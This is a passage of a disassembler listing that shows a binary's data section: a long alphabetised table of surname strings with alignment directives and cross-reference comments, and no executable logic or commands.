'Venne',0 ; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA 